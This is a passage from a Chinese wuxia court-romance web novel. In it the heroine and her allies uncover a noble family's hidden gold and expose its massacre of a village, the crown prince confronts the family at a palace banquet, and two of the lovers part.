他心中隐有些担忧,看了眼上方的太子,谢崇察觉到他的视线,举杯轻点了点头,褚方绎便知此事太子知情,遂放下心举杯饮了酒。 姜蝉衣与宋少凌在宫外碰上头。 为了不打草惊蛇,今夜不能大动干戈,只由二人潜进府中,另安排人在府外接应。 然出宫门不久,突见空中炸开信号。 姜蝉衣面色一变:“不好,师妹出事了。” 姜蝉衣怕今日别生事端事,将谢崇给她的几个暗卫都留在了白安渝身边,此时的信号是落霞门的,显然还是出了事。 宋少凌立刻道:“我去相国府。” 他更擅长近战,姜蝉衣内功深厚,更适合潜伏。 姜蝉衣没多做犹豫,点头:“好。” 二人一左一右,飞快消失在夜色中。 金酒认得落霞门的信号,看见信号是在相国府方向,便知道是白安渝出了事,忙寻机会禀报给了谢崇,谢崇微微蹙眉,瞥了眼薛老太爷。 看来他们今夜也有动作。 白安渝是白家村唯一的活口,她死了,便死无对证! 谢崇不能离开,他身边的金酒顾榕亦是,否则薛老太爷必定起疑,沉凝片刻,他道:“让沐玄机去助蝉衣。” 以他对他们的了解,宋少凌多半已经去了相国府。 金酒应下:“是。” 徐清宴看了眼离去的金酒,眉间隐有担忧, 难道出了什么岔子? 不过今夜之事他也属实帮不上忙,只能静候消息。 柳襄没有看到信号,但以她的耳力听见了响声,且她对信号弹很敏锐,目光落在姜蝉衣的空位半晌后,唤来贴身心腹,吩咐了几句,心腹闻言面露诧异,旋即领命而去。 谢蘅待她吩咐完,才侧身耳语道:“有太子护着,何须夫人出手。” 这些日子京中暗涌他们岂能不知。 不过有些事也该落在这些小辈肩上了,他们能不插手便不插手。 柳襄垂目,沉声道:“薛国公府养了死士。” 她也是近日才得知,本来准备动手,但发现太子等人的动作后,便决定先静观其变。 谢蘅微微拧眉。 当朝已禁止豢养死士,薛老爷子胆子倒是大得很。 “夫人让谁去了?” 柳襄朝宋长策的方向抬了抬下巴:“赤雨。” 谢蘅哦了声,半晌后,道:“让玄烛也去一趟?” 柳襄:“嗯。”- 姜蝉衣很顺利的潜进了薛国公府。 但,似乎太顺利了! 姜蝉衣皱了皱眉,不待细想便已感知到危险靠近,反应迅速的偏过头,躲过凌厉一枚的暗箭,随后便有数名黑衣人出现,将她团团围住。 看来薛国公府早有准备,如此,也正说明脏银还在府中! 战斗一触即发,交手几招后姜蝉衣便觉心惊,这是黑酆门的人! 不,不对,只是武功路数一致,但这些人比黑酆门的人更狠,更不要命! 就在这时,突有人影掠来,替姜蝉衣挡住几招攻击:“嫂嫂,我来助你。” 来人正是沐玄机。 姜蝉衣猜到应是谢崇得知师妹遇刺让他过来的。 “沐盟主小心,这些人不大对劲。” 沐玄机边接了几招,边道:“如今的盟主已改姓宴,嫂嫂叫我名字即可。” 姜蝉衣一怔,立刻便猜到:“二师弟?” “正是。” 沐玄机眉头一沉:“改日再与嫂嫂细说,这是死士。” 姜蝉衣讶异:“死士?” 她倒是听说过,不过,当朝不是禁止豢养么? 沐玄机:“确实禁止,但总有人私下豢养。” 二人被死士缠住,一时无法脱身再去查探,而相国府这边亦是情况危急,谢崇的暗卫发现刺客后,护白安渝躲到了里间,可对方来的人太多,且都是死士,他们应付的很艰难,白安渝见情况不妙立即放了信号弹。 宋少凌赶到时,谢崇的几个暗卫不敌,已经快要退到房中,见他过来,扬声道:“宋小将军先带白姑娘走。” 对方十几人,且招数刁钻,宋少凌心知他们几人绝不是对手,在几个暗卫的掩护下快步走进房中,朝白安渝道了声得罪,便揽住她的腰从窗棂跃出。 “他们拦不住多久,我们去将军府。” 白安渝自然清楚他说的将军府是何处,但逃命之际,也无法顾及那么多了。 她应下没多问,宋少凌却还是解释道:“柳大将军府守卫森严,父亲此行也带了兵卫回来,此时那里最安全。” 白安渝点头:“好,我知道。” 之后二人不再言语,只逃至正街,迎面便被一行黑衣人拦住去路。 宋少凌将白安渝护在身后,沉声道:“看来薛国公府这是打算赶尽杀绝,恐怕张猛已经凶多吉少。” 张猛一死,再将白安渝灭口,白家村旧案便再无处查寻。 白安渝跟着他往后退,目露担忧:“这些像是黑酆门的人。” 穿着虽与方才的刺客相同,但用的兵器不一样,而这些兵器她并不陌生,曾经拦截她前往沐府的就是这些人。 那一次,也是他拼命护在她身前,如今竟又是旧事重演。 只不同的是这一次比上一次人更多,且上次还有二师兄与师弟们在,这一次只有他一人。 “黑酆门背后真正的主子应就是薛国公府。” 进宫要搜身,宋少凌没有带信号弹,如今只能靠他们自己,转头问白安渝:“可带了毒药?” 白安渝从怀中取出药瓶递给他:“带了。” 宋少凌没接,只看了眼,道:“从此处往南,穿过两条街,再往北行便是柳大将军府,白姑娘,我拖住他们,你去搬救兵。” 这样的话似曾相识。 曾经在那片林子中,宋少凌也说过这样的话,那一次,白安渝毫不犹豫的离开了。 可这一次,她沉默良久,道:“我知道这条路,此地到柳大将军府,步行至少半个时辰,就算搬来救兵再快也要大半个时辰。” 她见识过黑酆门的厉害,在这么多人的围堵下,他撑不过那么久。 他让她搬救兵是假,让她逃命是真。 宋少凌盯着越来越近的黑衣人,淡声道:“白姑娘只管去,我自有法子拖住。” 他每次都这么说,其实每一次他都没有把握。白安渝闭了闭眼,苦笑一声,叹道:“罢了。” 宋少凌正要开口,又听她道:“你我心知肚明,以我的脚程,你等不到救兵。” “宋小将军,这一次,便听天由命吧。” 第一次,她肩负血海深仇,毫不犹豫瞥下他逃命;第二次,她要救人,他为护她丢了半条命;这一次,她不会走了。 是死是活,她陪他一起。 宋少凌握紧刀,侧首看她,神情复杂。 白安渝坦然迎向他的目光:“我赌宋小将军肩负大运,逢凶化吉。” 若不然,她把命赔给他。 黑衣人已经近在咫尺,宋少凌不再多言提刀迎上去,几招过后,他忽而一笑,侧首同她道:“好。” 那就赌一赌。 第84章 第 84 章 怕是要让白姑娘赌输了 死士极其难缠, 饶是姜蝉衣沐玄机都是一等高手,也无法从死士的包围中突然,小半个时辰过去, 姜蝉衣已受了多处伤,沐玄机也没好到哪里去, 他难得有几分正经,道:“嫂嫂,今日无法探查, 先走。” 姜蝉衣自也知晓眼下情况, 再缠斗下去, 他们怕是命都要丢在这里。 虽有不甘,却也无他法。 就在二人准备撤退时, 突有人影急速掠来,落在二人前头,姜蝉衣警惕的盯着眼前背影, 心中大惊,此人功夫深不可测,他和沐玄机加起来也不是他对手,若为对方援手,他们决计逃不掉。 然却听沐玄机惊喜喊他:“父亲。” 姜蝉衣一怔, 惊讶的盯着面前背影,玄烛大人? 来人正是玄烛, 他没去看沐玄机, 只侧首低声朝姜蝉衣道:“姑娘要查什么,尽管去。” 姜蝉衣有些担忧:“这是死士” 还没说完,沐玄机就伸手拉她离开,有父亲撑腰, 正经了没多久的人又变得吊儿郎当起来,语调轻松道:“放心,这些人父亲还不放在眼里。” 姜蝉衣闻言便不做推辞,拱手道了谢就同沐玄机离开。 走到转角处,她没忍住回头看了眼,正见玄烛剑出,轻而易举挡住追来的死士,她顿时心惊不已,早闻玄烛大人武功逆天,今日一见,传闻果真不假! 眼下却不是感慨的时候,二人抓住时机没入夜色之中,分开行动,寻过几处后,姜蝉衣沐玄机碰上头,二人都一无所获。 “盲目寻下去不是办法,那么大一笔金银不可能藏在明面上,多半有暗室。” 沐玄机也有此想法;“暗室需得在眼皮子底下才放心。” 二人对视一眼,沐玄机道:“我去老太爷寝房。” “好。”姜蝉衣道:“我去书房。” 二人迅速分开前往。 姜蝉衣去过书房一回,熟门熟路摸过去,仔细寻找房中机关,但仍旧没有发现异常,忽而,她无意间瞥见墙上一幅画,是幅仕女图,她缓缓靠近,刚想要伸手扯下便觉一道劲风从身后袭来,她不得不放弃转身抵挡。 来人黑衣戴着面具,但身形和武功路数都似曾相识,几招过后,姜蝉衣终于想起来了:“黑酆门!” 上次在清辉门,便是此人率黑酆门突袭,若非她放了落霞令,后果不堪设想。 黑衣面具人未言语,只哼笑了声,攻击愈发凶狠,姜蝉衣更加确定,那幅画后有猫腻。 她方才便来过这里,他没出手就是因为她没有发现那幅画。 不过姜蝉衣本就受了不小的伤,眼下应付起此人来更是吃力,她只能边打边拖延时间:“原来黑酆门竟和薛国公府勾结,解家不过是颗棋子。” 黑衣人面具仍旧没出声。 “不对,不是勾结。” 姜蝉衣盯着他的眼睛,道:“应该说,黑酆门背后的主子是薛国公府!” 黑衣人面具人终于有了反应,他冷笑道:“可惜你知道的太晚了。” 今日无论如何,他都不会让她从这里活着出去。 姜蝉衣猜测道:“黑酆门建立时间并不久远,若我没有猜错,是在白家村被灭之后不久,白家村出了凶案后一直闹鬼,无人敢靠近,也就没有人知道有人在那座山开采矿物,从那之后,黑酆门横空出世,替薛国公府暗中敛财,明面上是拿钱买命,实则是在暗中除去薛国公府政敌。” 谢崇早已将薛国公府翻来覆去查过,这几年有不下五位京官莫名暴毙,或是路遇劫匪,或是急病而亡,那时只道运道不好,后经查证,那些人多多少少都与薛国公府有关。 忽而,姜蝉衣又想到什么,眉头微拧:“云广白曾经遇刺,也是薛国公府做的!” “并非是他招惹的敌人,而是那些人本就是冲他去的!” 黑衣面具人冷冷一笑:“褚姑娘很聪明,但太聪明的人可活不长。” 说罢,他一掌击向姜蝉衣,这一掌用了全部功力,姜蝉衣重伤之下难以抵挡,从窗户口撞出去跌在地上,口吐鲜血。 黑衣面具人随后纵身而出,持刀走近她:“宋家不过柳家部曲出身,当年,宋长策不过只是柳襄身边一个副将,小小年纪就仗着柳家长子身份做了镇国大将军!他也配!” “陛下说什么看中武将,实则看重的只是柳家,又何曾将薛家放在眼里。” 当年之事姜蝉衣是知道一些的,冷声反驳道:“当年宋大将军被封镇国大将军时已是战功赫赫,那一战极其凶险,大战之后亦将养许久,有此军功他本可以在京中锦衣玉食荣华富贵一生,但却自请镇守边疆,陛下这才册封为镇国大将军,今日荣耀都是他一刀一枪杀出来的,而薛国公府却认为他挡了你们的路,简直可笑!” “不说宋大将军,那薛二也配和宋少凌相提并论?” 黑衣面具人被激怒,举刀重重砍下,姜蝉衣早有防备就地一滚躲过这致命一击。 “二公子果然是被你们害的,不过你放心,宋少凌很快就会去给二公子陪葬。” 姜蝉衣一惊:“你们还做了什么?” “能做什么,你如今是何处境,你那位师妹和宋少凌便是何处境。”黑衣面具人笑着道:“不过他们可能没有你运气好,有这样两位高手助阵。” 姜蝉衣一颗心蓦地沉了下去。 他们竟已经算到宋少凌去会去救师妹,不,应该是不论宋少凌去没去,都会面临一场恶战。 黑衣面具人已没了耐心,欲迅速结束此战,而就在这时,一把剑破空而来,挡住了黑衣人砍向姜蝉衣的刀。 “嫂嫂,你没事吧?” 沐玄机没有在寝房发现机关,听到这边动静便知是出了事,急急赶了过来。 姜蝉衣握着剑慢慢站起身,看向书房:“我没事,机关就在书房的仕女图后。” 沐玄机目光一沉:“好。” “我拦住他。” 姜蝉衣已受重伤,若再与黑衣面具人对上恐有性命之忧。 “好。” 二人配合默契,同时动作,姜蝉衣提气飞身冲向书房,沐玄机则拦住黑衣面具人,姜蝉衣知道他方才也受了伤拦不了多久,不敢耽搁片刻,径直走向仕女图,一把扯下,果然见仕女图后藏着机关。 她伸手转动,一边的书架便缓缓挪动,密室打开,姜蝉衣成功在里头找到了上百箱黄金,震撼之后,她急急走出书房,拉开与谢崇约定好的信号。 信号一响,谢崇便会拿人。 黑衣面具人杀心大起,狠狠击向沐玄机,沐玄机以剑相抵却还是被击飞数步,千钧一发时玄烛赶到,拦下黑衣面具人随后的致命一击。 “父亲。” 沐玄机心神一松,半跪在地,姜蝉衣走过去扶起他,道:“师妹和宋少凌可能有危险,我得去救他们。” 沐玄机抹了唇边血迹,道:“我与你同去。” 玄烛毫不留情的开口:“你二人如今状况过去是送死。” 沐玄机:“我好歹是您儿子,您能别咒我不?” 玄烛没理他,朝姜蝉衣道:“赤雨过去了。” 姜蝉衣只知道赤雨是宋大将军的人,其他的并不清楚,闻言便看向沐玄机,沐玄机遂解释道:“赤雨叔叔虽不及父亲,但比我们强多了,若赤雨叔叔都保不住他们,我们去了的确是送死。” 姜蝉衣还没开口,玄烛淡漠的声音又传来:“初生牛犊不怕虎,若非王爷察觉到,今日便只能给你们收尸。” 被训斥后,二人低下头不敢做声了。 半晌,姜蝉衣抬起头:“太子不会做无把握的事,王爷能察觉,指不定也在太子意料之中?” 沐玄机唇角一抽:“嫂嫂对殿下还真是信任至极。” 不过,依太子殿下的性子,确有这个可能- 小半个时辰的打斗,宋少凌已是强弩之末,若非白安渝身上有不少可用的毒药能抵挡一二,他们怕是已经丧命。 白安渝看着持刀立在她身前的少年,泪水徐徐落下。 她不怕死,可害怕他死。 他本该鲜衣怒马,意气风发,不该死在这里。 可她如今能做的只有陪着他,生死不论。 宋少凌已经站不大稳了,但他知道他不能倒下,他死了,她也会死。 到底是上过战场的小将军,意志力不比寻常人,哪怕已经意识模糊,也依旧还能持刀抵挡,只是那手臂颤抖的厉害。 看着新一批攻来的黑酆门杀手,宋少凌唇角勾了勾,道:“怕是要让白姑娘赌输了。” 白安渝笑中带泪:“无妨。” “我陪你。” 宋少凌无暇去思考那句‘我陪你’是何意,只是点头:“好。” 小将军从不怕输,只要他还站得起来,拿得动刀,他就能杀敌,就要保护身后的人,百姓如此,她亦然。 他已做好准备殊死一战,可却突听一道声音自身后响起:“公子,退后。” 旋即,耳边刮过一阵风,挡住攻向他的人。 宋少凌看着那道熟悉的背影,唇角轻轻弯起:“赤雨叔叔,你来了。” 那道背影不仅熟悉,也很安心,曾不知多少次,挡在他身前,背着他回军营。 少年心中绷着的弦松了,手中的刀落地,人也缓缓倒下,但并没有摔在地上,而是落入陷入一片温软之中。 白安渝稳稳接住了他。 “宋小将军。” 宋少凌半躺在她怀里,视线开始模糊,看见她脸上的泪,他想要替她抹去:“白姑娘,你赌赢了。” 他抬起的手没碰到她的脸,已失力的落了下来,随后昏迷过去。 第85章 第 85 章 蝉衣,别动 谢崇虽知晓小叔叔出了手, 但心头还是止不住担忧,今夜不管是薛国公府还是相国府都必定是凶险万分。 不过此时的他还并不知薛国公府豢养死士,否则说什么也不会让他们去冒险。 夜空中突然炸开信号, 谢崇捏紧手中酒杯看了眼金酒,金酒无声离开, 很快去而复返,朝他轻轻点头,谢崇心头一松。 是他们的信号, 东西找到了。 与此同时, 薛国公府的人也已发现了信号, 察觉到并非属于自己的信号弹,薛老太爷和薛大爷隐隐感到不安。 他们虽清楚死士和黑酆门的实力, 可到底是在太子眼皮子底下动作,心中难免发虚。 但凡还有别的路,他们都不会如此铤而走险。 “薛老将军。” 随着太子清润的嗓音响起, 殿中蓦地寂静下来,纷纷看向薛国公府,暗自揣测太子殿下怎突然看重薛国公府,可细看之下却发现薛国公面色沉凝,竟无半分喜色。 薛老将军缓缓起身:“臣在。” 谢崇盯他片刻, 道:“薛老将军曾上过战场,我朝历来优待武将, 孤倒是不知老将军有何不满, 要大肆收敛钱财,刺杀我朝股肱之臣。” 一语惊起千层浪。 百官顿时面面相觑,这是怎么回事? 薛家众人已脸色骤变,包括与薛家定婚的两家人, 皆神色沉重的看着薛家父子,太子殿下绝不会无的放矢,今日此言必然已是证据确凿,断不会冤枉薛家,前些时日薛家以老太爷病重为由将婚期提前,当时他们便觉古怪,而今才明白,原来只是想利用他们保住薛家女儿! “老臣不明白,太子殿下此言何意?” 太子当场发难,薛老太爷心头便已清楚他们输了,可求生之欲使然,垂死挣扎。 谢崇牵挂着宫外的人,却没什么心思与他周旋,道:“金酒,将账册呈给陛下。” 圣上与皇后对视一眼接过账册,才看几页已是震怒,重重将账册摔于桌上:“薛老将军,朕自问待你不薄,没成想你竟与解家勾结,朕问你,私采金矿,你可参与?” 薛老太爷瞥了眼账册,心道账册果然是到了太子手里。 他闭了闭眼,心中只觉荒谬,本来一切天衣无缝,却因那逆子满盘皆输! “薛老将军可还记得白家村?” 太子徐徐道:“白家村几百口人一夜之间被屠,而孤的人今日已回禀,白家村后有一座矿山已被开采,此桩血案不知薛老将军可知情?” 百官又是好一阵惊愕。 薛国公府这些年处事低调平稳,没成想背地里竟干了这些勾当! 就连圣上都有些错愕,他是知晓太子这些日子的动作,但无论如何也没想到薛国公府竟如此草菅人命! “老臣不知。”薛老太爷垂眸道。 张猛已经死了,只要那白家孤女一死,此事便死无对证,再无从追查! 谢崇哪不知他心中所想,淡声道:“来人,将人证带上来。” 薛老太爷一怔,此案还有何人证? 下一瞬,他便看见本该死了的张猛被侍卫押进殿中,错愕之后,薛老太爷回头怒目瞪着薛大爷。 薛大爷也不知所措,他明明已经派人杀了张猛,他怎么会 “薛大爷如此惊讶,可是以为此人已经死了?”谢崇缓缓道:“此人若不死,今夜,薛老太爷如何会孤注一掷杀白家孤女?” 薛家父子顿时便明了,这一切都是太子设局,为的就是逼他们动手! 张猛已跪在地上将陈年旧事如实道来:“小人奉薛老将军之命屠杀白家村,却不想当日来了一位高人,救走一个孤女,便是如今相国大人之女的师妹,白安渝。” 他已经没有活路了,但他还有家人,太子的人抓住了他,承诺只要他说出实情,可免他家人死罪。 他别无选择。 这时,殿外有人禀报:“陛下,白家孤女白安渝求见。” 众臣皆侧首看向殿外,圣上看了眼太子,道:“宣。” 随后,众人便见一位身着素衣头簪白花的女子缓缓踏进殿中,而宋长策与宋夫人同时面露讶异,竟是她? 宋嫣宁眼神也亮了亮,目不转睛盯着白安渝。 竟是唐姐姐! 白安渝走至殿中,双膝跪下:“民女拜见陛下,皇后娘娘,太子殿下。” 圣上沉声道:“免礼,起身回话。” “是。” 白安渝起身,缓缓将多年前的旧案道出:“回禀陛下,民女乃白家村孤女,白安渝,多年前,白家村被贼寇屠杀,若非师父偶然路过相救,民女也无法活到今日,屠村之仇,民女万不敢忘,这些年一路追查,终于寻到线索。” “当日,民女曾看见屠杀白家村之人脖颈至而后有一条疤,民女几番辗转终于找到了此人,却发现他竟然是薛国公府中人。” 白安渝看了眼张猛,继续道:“今夜,民女在相国府遭遇刺杀,幸得宋小将军相救才侥幸保住性命,刺杀民女之人乃是死士与江湖杀手黑酆门。” “薛国公府所犯之罪,罄竹难书,民女求陛下为白家村几百冤魂做主。” 宋夫人脸色骤变:“阿凌如何?” 白安渝朝她微微屈膝,道:“回宋夫人,宋小将军身受重伤,无性命之忧,此恩,民女万死难偿。” 宋夫人眼神复杂的看着她,好半晌后轻轻一叹,不再作声。 实情发展至此,已容不得薛家不认了。 而谢崇的心思早已不在此。 宋少凌白安渝有惊无险,沐玄机蝉衣却不知如何了。 就在他按耐不住想要出宫寻人时,殿外又有人禀报:“沐公子与褚二姑娘求见。” 谢崇坐直身子朝外望去,待看见门口一身伤痕,脚步虚浮的姑娘后脸色一冷,当即起身迎过去。 姜蝉衣也没想到他有此动作,便不由加快脚步,却听太子急声道:“蝉衣,别动。” 她下意识停下。 她伤的确实很重,坚持到现在只为进宫作证,如今每走一步伤口都扯的生疼,他竟都看出来了。 谢崇几个箭步便到了她面前,什么话也没说,避开她的伤将她抱了起来:“父皇,褚二姑娘伤势过重,儿臣先告退。” 姜蝉衣错愕的看了眼上位的帝后,着急阻止他:“你快放我下来,我得作证” “沐玄机同你一道去的,他也能作证。”谢崇淡淡看了眼沐玄机。 沐玄机眨眨眼,低头看了眼一身鲜血的自己:“” 或许他也很需要去看太医呢? “殿下说的是,陛下,草民与褚二姑娘一道去的薛国公府,草民可作证,褚二姑娘在薛国公府找到密室,发现了上百箱黄金。” 圣上瞥了眼以前天塌下来都能面不改色,而今却为一人失了分寸的太子,摆摆手;“去吧。” “谢父皇。” 谢崇抱着姜蝉衣疾步离开:“传太医!” 饶是姜蝉衣自问脸皮不薄,当着文武百官的面也有些难为情,干脆将脸埋在太子怀里。 殿内,陷入一阵诡异的寂静。 谁人不知太子殿下端方稳重,何曾见他如此方寸大乱过。 古怪的寂静后,百官的眼神若有若无落在相国府几人身上,看来即便长公子最后真不愿入内阁,褚家也依旧荣华鼎盛。 褚家几人面不改色,褚方绎垂首饮酒,掩去眼底的笑意。 于他而言,他自是乐意看太子为妹妹打破规矩,可同时,他也很羡慕。 太子离开,今夜的戏也临近结尾,圣上当场下令将薛家收押刑部,由三司会审,细查到底。 寿宴结束,白安渝随宋夫人去了宋家。 宋赤雨将宋少凌带回宋家医治,她总归放心不下,要亲去一趟。 宋嫣宁离席时则多看了几眼沐玄机,哥哥不是说他得罪了太子么,可据她所知,沐玄机与太子关系极近。 沐玄机察觉到她的视线望过来,宋嫣宁连忙转过头,随母亲离开。 第86章 第 86 章 名正言顺 东宫 金酒进殿禀报, 还未开口便见内侍压手指了指里间,他立刻便明白了什么,没敢去看, 只放轻脚步走到太子跟前,低声道:“殿下, 薛大公子已经带回京都,也已传令薛二就近关押,待薛国公府家定罪之后重下判决。” 谢崇嗯了声。 薛国公府交由三司后他便没再插手, 惨死在薛国公府手中的朝臣, 密室中的黄金, 白家村的命案这一桩桩一件件都足够薛国公府满门抄斩。 板上钉钉,无需他多问。 太子如今满心满眼都是昏睡了三日还未醒来的蝉衣。 相国府来要了几次人他都没放, 不亲眼看着她醒来,他不放心。 “白安渝还在宋家?” 金酒:“是,宋小将军伤的很重, 也还没有醒过来,白姑娘一直守着。” 谢崇微微蹙眉。 宋少凌伤的比蝉衣要重,比起沐府那一次,没好多少。 “挑些上好的伤药送去。” “是。” “都先下去吧。” 金酒和内侍躬身退下,谢崇重新拿起笔, 批阅奏折。 时间缓缓流逝,天色渐渐暗了下来, 殿内燃起了烛火, 月上柳枝,万物静谧。 姜蝉衣缓缓睁开了眼。 伤口的疼痛也变得清晰起来,再好的伤药也不可能三日让伤口愈合,不过她早已习惯了疼痛, 只微微蹙了蹙眉,不曾发出一丝痛吟。 她忍着痛转眸打量了眼四周,金色的流苏纱帐,鼻尖充斥着龙涎香,姜蝉衣愣了愣,这是东宫? 思绪缓缓回笼,心中也随之一惊,谢崇真将她带到东宫了? 她只记得,他众目睽睽下抱着她离开,出殿门不久她就昏迷了过去。 忽而,她隐约看见屏风后有一道身影,烛火下,那人身姿端正的坐于案后,似正垂目批阅奏章,即便只能大致看个轮廓她也知道,此时在这里的只会是他。 这一幕似曾相识,曾经在沐府,她重伤醒来时看到的也是这样一副画面。 姜蝉衣无声勾了勾唇,目不转睛看着那人。 真好,他还在身边。 那时候还未看清自己心意,而今,却已有了一种踏实感。 他在之处,便是心安。 这时,谢崇笔锋一顿,抬眸隔着屏风看了眼,随后起身快步走来。 刚穿过屏风,就对上姜蝉衣笑盈盈的双眼,他忙走去床边,俯下身道:“醒了。” 姜蝉衣轻声道:“嗯。” “我昏迷多久了?” “先别动。”谢崇制止她起身的动作,温声回答:“你昏迷了三天。” 姜蝉衣一愣,她竟昏迷了这么久? 所以,她这三日都在东宫? “太医说,你今夜可能会醒。”谢崇坐在床边,看着姜蝉衣温声道:“我已让人备好药和吃食,晚些便送来,你的伤口还未愈合,需好生将养几日。” 姜蝉衣目不转睛看着他:“在东宫吗?” 谢崇:“嗯。” 顿了顿,又道:“相国府进宫几次要将你接回去,是我执意留你在东宫。” 姜蝉衣眉头微动。 她知他性情,回京后更是几次听闻太子端方如玉,克己守礼,可留她在东宫并不符合礼法。 “抱歉,蝉衣,我知可能会招来流言蜚语,但不留你在身侧,我不放心。” 姜蝉衣勾唇:“我在众目睽睽下昏迷,便是有流言蜚语,过错也在你身上,何须同我致歉。” “况且,未婚夫妻,也算名正言顺。” 再者,她并不在意什么流言蜚语,醒来看到的第一个人是他,她很开心。 谢崇眼眸深邃几分,抬手替她拂去额角几缕发丝,语气分外温柔:“嗯,我们在一处,名正言顺。” 可这远远不够。 他想每日拥她入睡,每日醒来都能见到她,人啊,总是想贪恋更多。 可婚期还有小半年,他第一次觉得时间如此漫长。 姜蝉衣轻轻勾起唇。 她时常觉得自己是这世上最幸运的人,被爱包围着长大,遇见志同道合的朋友,心上之人恰就是未婚夫婿。 真好。 转而想到什么,姜蝉衣压下心绪,忙问:“对了,师妹如何,薛国公府可定罪了?” 谢崇:“放心,证据确凿,白家村旧案可重见天日,罪魁祸首难逃罪责。” “白师妹如今在宋家。” 姜蝉衣昏迷前得到消息,宋少凌重伤昏迷不醒,闻言担忧道:“宋少凌可醒了?” “还没有。” 谢崇道:“他伤的重,许还要养些日子。” 姜蝉衣还欲再问些什么,却听门外有人禀报,原来是内侍听得里头动静,送吃食过来。 谢崇唤人进来,又朝姜蝉衣道:“有白师妹在,他不会有事的,你不必担忧,先安心将养。” 姜蝉衣点头:“嗯。” 不过当真是世事难料,这兜兜转转,本以为无缘的人羁绊却越来越深了。 也不知道如今他们是否会敞开心扉,有情人终成眷属。 _ 五日后,薛国公府定罪,夷三族。 没有拖延至秋后,定罪两日后便于刑场处决。 血洗刑台,久久不散。 白安渝冷眼看完,转身离开,压在心底多年的巨石终于放下,大仇得报,她的心终于平静了下来。 买了纸钱,寻僻静之地以凶手鲜血祭奠亡魂,她将头上簪了多年的白花取下,随着火焰烧尽。 做完这一切,她轻轻闭上眼,重新颔首着这世间,这一刻的风是温和的,耳边的所有声音也变得清晰起来。 放下,新生,只在旦夕。 而今,她只剩一愿未了。 她去了成衣店,换下白衣素裙走向宋家,她该去见他最后一面。 从此便回落霞门,钻研药理,济世救人。 回到宋家,白安渝畅通无阻的进了宋少凌的房间,这些日子一直是白安渝守在宋少凌身边,连熬药都不假他人之手。 她缓缓走至床边,看着昏睡不醒的少年,经过多日调养,他的脸上已经恢复了血色,只是少年闭上眼,太过安静,很让人有些不习惯。 她经常想起在落霞门那些日子,他跟在她身边,好像有说不完的话。 那时候的少年明朗耀眼,像烈日,不由分说的将光照在她的身上,渗进她的心间。 “宋少凌。” 白安渝伸手轻轻抚着少年的脸庞,眼里是少年从不曾看见的柔情:“愿你永远平安喜乐,也永远不要为谁这般拼命了。” “你该是耀眼的太阳,只要存在,便能光泽万物,不需要落下来,染血沾尘。” 没人值得你这么做,她尤甚。 最终,白安渝还是没有忍住,俯下身轻轻在少年眉间印下一吻。 那一瞬,泪水落在少年眼睫,惹得眼眸轻轻颤动。 白安渝不再犹豫,转身离开。 她没有留下只字片语,既要分别,何须再留念想,非她想不辞而别,而是她怕他一开口,她就舍不得走了。 他有大好前程,不该同她再纠缠下去。 白安渝也没有向宋夫人辞行,只请下人代为转交了封辞行信。 有关于他的一切,她都不舍,所以干脆,都不见。 宋夫人刚看完信,下人便来禀报宋少凌醒了,她沉思片刻,吩咐道:“快去将白姑娘追回来,不论用什么法子!” 她哪里看不清儿子的心意,醒来想要见的人必定是她。 吩咐完宋夫人便疾步走向宋少凌房间,刚到门外就听宋少凌在询问下人:“白姑娘可好,如今在何处?” 宋夫人踏进房门,下人纷纷行礼退开,宋少凌撑着起身,被宋夫人制止:“才刚醒,好生躺着。” 关切几句,宋少凌便忍不住又问了一遍,宋夫人先让他喝完药,才在他期待的目光中,如实道:“你昏迷的这些日子,白姑娘一直在照顾你。 ” 闻言,少年眼里灿若星辰:“当真,那她在何处? ” 宋夫人轻轻一叹:“走了。” “不过我已经让人去追了。” 宋少凌眼中的光霎时散去。 少年愣愣地盯着虚空,久久未言。 宋夫人心疼不已,安抚道:“许是有什么要紧事耽搁不得,若知道你醒来,她定会回来的。” 宋少凌喉头微动了动,许久后才低沉道:“她不会回来了。” 她医术那般高明,又岂会不知他何时会醒,她是掐着时辰离开的。 只要她打定了主意,母亲寻不到她的。 “阿凌……” 宋夫人还想再宽慰几句,就被宋少凌打断:“母亲,我没事,您先回去吧,我想再睡会儿。” 这都昏睡了多久了,哪里还会想睡,宋夫人知道他是想独自待着,便没再坚持,让人送了吃食进来,就带着人离开了。 出了房门,宋夫人想了想后,将院中下人遣散:“公子刚醒,需要静养,都先退出院外,一个时辰后再进来。” 下人领命退下。 待所有人离开,少年蒙着被子嚎啕大哭。 宋夫人立在墙角听了会儿,心疼的又是一叹,知子莫若母,她便晓得他必要好生哭上一回。 没过多久,下人回禀,没有寻到白安渝。 宋夫人听罢摆摆手:“罢了。” 感情之事总归强求不来,只是她不明白明明阿渝对阿凌并非无情,为何要不辞而别。 姜蝉衣知道这事时,正同长兄对弈,闻言不由怔忡。 “师妹还是走了。” 褚方绎看她一眼,轻声道:“感情二字强求不来。” 姜蝉衣语气低沉:“可我瞧的清楚,师妹也喜欢宋少凌,明明两情相悦,为何却不能在一起。” 褚方绎执棋的动作一僵,眸光若有若无划过窗边角落。 片刻后,他垂眸道:“并非两情相悦就能厮守,门第悬殊犹如天堑,你与太子,很幸运。” 姜蝉衣闻言又是一怔。 所以,师妹是因此才离开的吗。 她并不认为这是件容易跨越之事,就像她和燕鹤,如若她只是江湖客,她与他必然不可能有今日。 谢崇同她坦白过他曾回避的缘由,她没有生气,储君婚事是国事,国在前,儿女情长在后。 相反,她亦如此。 若她的婚事关系到相国府,她大约也会做与曾经的谢崇一样的选择。 “竟还是有缘无分。” 姜蝉衣也无心下棋了,与长兄辞别后去给白安渝写信询问缘由。 她总觉得,他们不该就这样错过。 褚方绎目送姜蝉衣走远,出声唤道:“谷雨,陪我下完这局棋。” 片刻,暗卫现身,默默坐在姜蝉衣方才坐过的位置上,无声落下棋子。 二人就这么默默无言的下完一盘棋。 谷雨起身道:“谷雨不及公子。” 褚方绎慢慢捡起棋子,声音轻和:“你的棋艺是我亲手教的。” 他有时候会恍然觉着,他好像在与自己对弈。 谷雨垂首不语。 良久后,褚方绎抬眸看了她一眼,道:“下去吧。” “是。” 第87章 第 87 章 他们会一直一直在一起。…… 时间飞逝, 转眼便是乞巧节。 姜蝉衣收到了白安渝的回信,信上说了许多落霞门之事,二师弟宴青禾做了武林盟主后, 比以前更忙了,常常神龙见首不见尾, 门内要务彻底压在了五师弟沈琳琅身上,沈琳琅因此发了好多天的脾气,几个月无人敢近他的身;寻不到宴青禾, 九师弟关霄便常跟着四师弟蒋铄练武自强, 一心想要为沈琳琅分忧, 蒋铄被沈琳琅上门骂了几回,头回走出他的院落, 做了门中武教头。 